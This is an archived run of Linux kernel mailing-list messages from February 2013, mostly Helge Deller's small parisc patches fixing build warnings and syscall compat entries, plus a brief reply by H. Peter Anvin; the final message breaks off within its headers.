Message-ID: <20130227221137.GA2806@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1362003114 25368 80.91.229.3 (27 Feb 2013 22:11:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:11:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:12:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApEW-0006Yn-A1
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:12:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752560Ab3B0WLo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:11:44 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:61921 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752514Ab3B0WLn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:11:43 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.20]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MVoO6-1ULxBs24hE-00X48a for
 <linux-parisc@vger.kernel.org>; Wed, 27 Feb 2013 23:11:40 +0100
Original-Received: (qmail invoked by alias); 27 Feb 2013 22:11:40 -0000
Original-Received: from p54AD04DF.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.223]
  by mail.gmx.net (mp020) with SMTP; 27 Feb 2013 23:11:40 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX192uukdK3p29ijquYyJz1L5fH8DR9VXV7ustGAFgG
	osmJj13EkSPoEy
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4829
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4829>

the following patches are queued in the "fixes-for-3.9" branch of my git tree at 
git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: select ARCH_WANT_FRAME_POINTERS
Date: Wed, 27 Feb 2013 23:13:43 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20130227221343.GA2813@p100.box>
References: <20130227221137.GA2806@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1362003240 26475 80.91.229.3 (27 Feb 2013 22:14:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:14:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:14:23 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApGY-0007MF-9D
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:14:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753103Ab3B0WNu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:13:50 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:60983 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752625Ab3B0WNt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:13:49 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.17]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MZARu-1UPCLP1v1o-00L0JP for
 <linux-parisc@vger.kernel.org>; Wed, 27 Feb 2013 23:13:47 +0100
Original-Received: (qmail invoked by alias); 27 Feb 2013 22:13:47 -0000
Original-Received: from p54AD04DF.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.223]
  by mail.gmx.net (mp017) with SMTP; 27 Feb 2013 23:13:47 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/XYPQz9hfXtMaj1IPSsUZEJ3qtd90nY4sAv72BZH
	qD7FhrPytQYXik
Content-Disposition: inline
In-Reply-To: <20130227221137.GA2806@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4830
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4830>

commit 31a54684da3c14384168889035c54d5cb3c6d32a
Author: Helge Deller <deller@gmx.de>
Date:   Wed Feb 27 00:37:12 2013 +0100

Avoid the following warning when configuring the kernel for parisc:
warning: (LOCKDEP && FAULT_INJECTION_STACKTRACE_FILTER && LATENCYTOP && KMEMCHECK) selects FRAME_POINTER \
which has unmet direct dependencies (DEBUG_KERNEL && (CRIS || M68K || FRV || UML || AVR32 || SUPERH ||  \
BLACKFIN || MN10300) || ARCH_WANT_FRAME_POINTERS)

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 7f9b3c5..313cce5 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -5,6 +5,7 @@ config PARISC
 	select HAVE_FUNCTION_TRACER if 64BIT
 	select HAVE_FUNCTION_GRAPH_TRACER if 64BIT
 	select HAVE_FUNCTION_TRACE_MCOUNT_TEST if 64BIT
+	select ARCH_WANT_FRAME_POINTERS
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: fix compile warnings triggered by atomic_sub(sizeof(),v)
Date: Wed, 27 Feb 2013 23:15:52 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20130227221552.GA2817@p100.box>
References: <20130227221137.GA2806@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1362003359 27623 80.91.229.3 (27 Feb 2013 22:15:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:15:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:16:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApIT-0008HV-Cf
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:16:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752091Ab3B0WQA convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:16:00 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:53748 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750699Ab3B0WP7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:15:59 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.17]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lr5Xp-1Uo1r30Gx9-00eb9R for
 <linux-parisc@vger.kernel.org>; Wed, 27 Feb 2013 23:15:58 +0100
Original-Received: (qmail invoked by alias); 27 Feb 2013 22:15:57 -0000
Original-Received: from p54AD04DF.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.223]
  by mail.gmx.net (mp017) with SMTP; 27 Feb 2013 23:15:57 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+wrC4f4Ouw9Ol65LqYYR6WGxW9yxmDIvrLR5riuS
	YJyuflI43aVaFp
Content-Disposition: inline
In-Reply-To: <20130227221137.GA2806@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4831
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4831>

commit 4e5a5143e77add104aeee9cd6a92a2f89ab6edd6
Author: Helge Deller <deller@gmx.de>
Date:   Wed Feb 27 00:14:56 2013 +0100

parisc: fix compile warnings triggered by atomic_sub(sizeof(),v)

This fixes compile warnings like this one:
net/ipv4/igmp.c: In function =E2=80=98ip_mc_leave_group=E2=80=99:
net/ipv4/igmp.c:1898:3: warning: overflow in implicit constant conversi=
on [-Woverflow]

atomic_sub() is defined as
and if VAL is of type unsigned int (as returned by sizeof()), negating
this value will overflow. Fix this by type-casting VAL to int type:

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm=
/atomic.h
index af9cf30..f38e198 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -115,8 +115,8 @@ static __inline__ int __atomic_add_unless(atomic_t =
*v, int a, int u)
 }
=20
=20
-#define atomic_add(i,v)	((void)(__atomic_add_return( (i),(v))))
-#define atomic_sub(i,v)	((void)(__atomic_add_return(-(i),(v))))
+#define atomic_add(i,v)	((void)(__atomic_add_return(        (i),(v))))
+#define atomic_sub(i,v)	((void)(__atomic_add_return(-((int) (i)),(v)))=
)
 #define atomic_inc(v)	((void)(__atomic_add_return(   1,(v))))
 #define atomic_dec(v)	((void)(__atomic_add_return(  -1,(v))))
=20
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: switch to compat_functions of io_setup, io_getevents and
 io_submit
Date: Wed, 27 Feb 2013 23:17:13 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20130227221713.GA2872@p100.box>
References: <20130227221137.GA2806@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1362003438 28374 80.91.229.3 (27 Feb 2013 22:17:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:17:18 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:17:40 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApJi-0000Bq-C5
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:17:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751608Ab3B0WRR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:17:17 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:64598 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750999Ab3B0WRR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:17:17 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.16]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MIjSg-1U8dRz28Oe-002CQ6 for
 <linux-parisc@vger.kernel.org>; Wed, 27 Feb 2013 23:17:15 +0100
Original-Received: (qmail invoked by alias); 27 Feb 2013 22:17:15 -0000
Original-Received: from p54AD04DF.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.223]
  by mail.gmx.net (mp016) with SMTP; 27 Feb 2013 23:17:15 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18A2+RFBmsAGxqbFbmJCUqKrCSywDZSfjcM25Gggj
	KQT7INajCyv3wk
Content-Disposition: inline
In-Reply-To: <20130227221137.GA2806@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4832
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4832>

commit c58c540c25a4ae98e021876cb32afb7794428267
Author: Helge Deller <deller@gmx.de>
Date:   Wed Feb 27 00:32:10 2013 +0100

parisc: switch to compat_functions of io_setup, io_getevents and io_submit

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index fc9cab1..a410b1b 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -310,10 +310,10 @@
 	ENTRY_COMP(sched_getaffinity)
 	ENTRY_SAME(ni_syscall)	/* set_thread_area */
 	ENTRY_SAME(ni_syscall)	/* get_thread_area */
-	ENTRY_SAME(io_setup)		/* 215 */
+	ENTRY_COMP(io_setup)		/* 215 */
 	ENTRY_SAME(io_destroy)
-	ENTRY_SAME(io_getevents)
-	ENTRY_SAME(io_submit)
+	ENTRY_COMP(io_getevents)
+	ENTRY_COMP(io_submit)
 	ENTRY_SAME(io_cancel)
 	ENTRY_SAME(alloc_hugepages)	/* 220 */
 	ENTRY_SAME(free_hugepages)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: remove unused variable 'compat_val'
Date: Wed, 27 Feb 2013 23:19:46 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20130227221946.GA2896@p100.box>
References: <20130227221137.GA2806@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1362003592 30000 80.91.229.3 (27 Feb 2013 22:19:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:19:52 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:20:14 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApMC-0001md-EA
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:20:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752460Ab3B0WTu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:19:50 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:53282 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752613Ab3B0WTu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:19:50 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.28]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lgbwh-1Uei8H2ek1-00nulI for
 <linux-parisc@vger.kernel.org>; Wed, 27 Feb 2013 23:19:48 +0100
Original-Received: (qmail invoked by alias); 27 Feb 2013 22:19:48 -0000
Original-Received: from p54AD04DF.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.223]
  by mail.gmx.net (mp028) with SMTP; 27 Feb 2013 23:19:48 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18mkjE+MzMm5uM+ep2HdNxmJRarNsUy+tZL3FowHv
	czY1rYv27RDHsd
Content-Disposition: inline
In-Reply-To: <20130227221137.GA2806@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4833
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4833>

commit db0c2fcccf9ea3dc30f6e3b910bca7f819fb3a21
Author: Helge Deller <deller@gmx.de>
Date:   Wed Feb 27 00:02:31 2013 +0100

parisc: remove unused variable 'compat_val'

clean up after commit 6e26aab98ce8a818fb1ec47f8f727a8480a9011b
(switch to generic sigaltstack)

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 98e9e71..940188d 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -242,7 +242,6 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 	unsigned long haddr, sigframe_size;
 	int err = 0;
 #ifdef CONFIG_64BIT
-	compat_int_t compat_val;
 	struct compat_rt_sigframe __user * compat_frame;
 	compat_sigset_t compat_set;
 #endif
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECK
Date: Wed, 27 Feb 2013 14:19:16 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <512E8664.3070903@zytor.com>
References: <1361934016-22630-1-git-send-email-sboyd@codeaurora.org> <201302272032.21014.arnd@arndb.de> <512E6FA9.4060504@codeaurora.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362003595 30039 80.91.229.3 (27 Feb 2013 22:19:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:19:55 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:20:14 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApME-0001my-6e
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:20:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752760Ab3B0WTw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:19:52 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:58444 "EHLO mail.zytor.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752514Ab3B0WTv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:19:51 -0500
Original-Received: from anacreon.sc.intel.com (fmdmzpr03-ext.fm.intel.com [192.55.54.38])
	(authenticated bits=0)
	by mail.zytor.com (8.14.5/8.14.5) with ESMTP id r1RMJLnM005472
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Wed, 27 Feb 2013 14:19:21 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130219 Thunderbird/17.0.3
In-Reply-To: <512E6FA9.4060504@codeaurora.org>
X-Enigmail-Version: 1.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4834 gmane.linux.kernel:1448339
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4834>

On 02/27/2013 12:42 PM, Stephen Boyd wrote:
>>
>> It's fine to do your patch as a first step though, which would not
>> change the behavior.
> 
> A lot of arches seem to not want to enable it because false positives
> are everywhere. It really depends on how good the compiler is at doing
> constant propagation and dead code removal.
> 

Although some of the cases I have seen being flagged as "false
positives" have been real bugs.

	-hpa


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: avoid unitialized variable warning in pa_memcpy()
Date: Wed, 27 Feb 2013 23:21:15 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20130227222115.GA2921@p100.box>
References: <20130227221137.GA2806@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1362003682 31090 80.91.229.3 (27 Feb 2013 22:21:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:21:22 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:21:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApNd-0002G6-2b
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Feb 2013 23:21:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750805Ab3B0WVU convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 17:21:20 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:60571 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750711Ab3B0WVT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 17:21:19 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.2]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LdbDA-1UaZQ42tWM-00iizx for
 <linux-parisc@vger.kernel.org>; Wed, 27 Feb 2013 23:21:18 +0100
Original-Received: (qmail invoked by alias); 27 Feb 2013 22:21:18 -0000
Original-Received: from p54AD04DF.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.223]
  by mail.gmx.net (mp002) with SMTP; 27 Feb 2013 23:21:18 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19aOrY51YpaEoVRgiT/rakPNnpMJ4Y3bFvWyagc8X
	oY424++oQMdSl/
Content-Disposition: inline
In-Reply-To: <20130227221137.GA2806@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4835
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4835>

commit eed0220c5b2f33e4da2e9ba207c798c1bdebe500
Author: Helge Deller <deller@gmx.de>
Date:   Wed Feb 27 00:06:48 2013 +0100

parisc: avoid unitialized variable warning in pa_memcpy()

Avoid this warning, while still prevent gcc from optimizing away the ex=
ception code:
arch/parisc/lib/memcpy.c: In function =E2=80=98pa_memcpy=E2=80=99:
arch/parisc/lib/memcpy.c:256:2: warning: =E2=80=98dummy=E2=80=99 may be=
 used uninitialized in this function [-Wuninitialized]

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index 1dbca5c..a49cc81 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -68,7 +68,7 @@
 DECLARE_PER_CPU(struct exception_data, exception_data);
=20
 #define preserve_branch(label)	do {					\
-	volatile int dummy;						\
+	volatile int dummy =3D 0;						\
 	/* The following branch is never taken, it's just here to  */	\
 	/* prevent gcc from optimizing away our exception code. */ 	\
 	if (unlikely(dummy !=3D dummy))					\
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: check return value of down_interruptible() in hp_sdc_rtc.c
Date: Wed, 27 Feb 2013 23:22:23 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20130227222223.GA2941@p100.box>
References: <20130227221137.GA2806@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1362003751 31701 80.91.229.3 (27 Feb 2013 22:22:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 22:22:31 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 27 23:22:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UApOl-0002qO-48
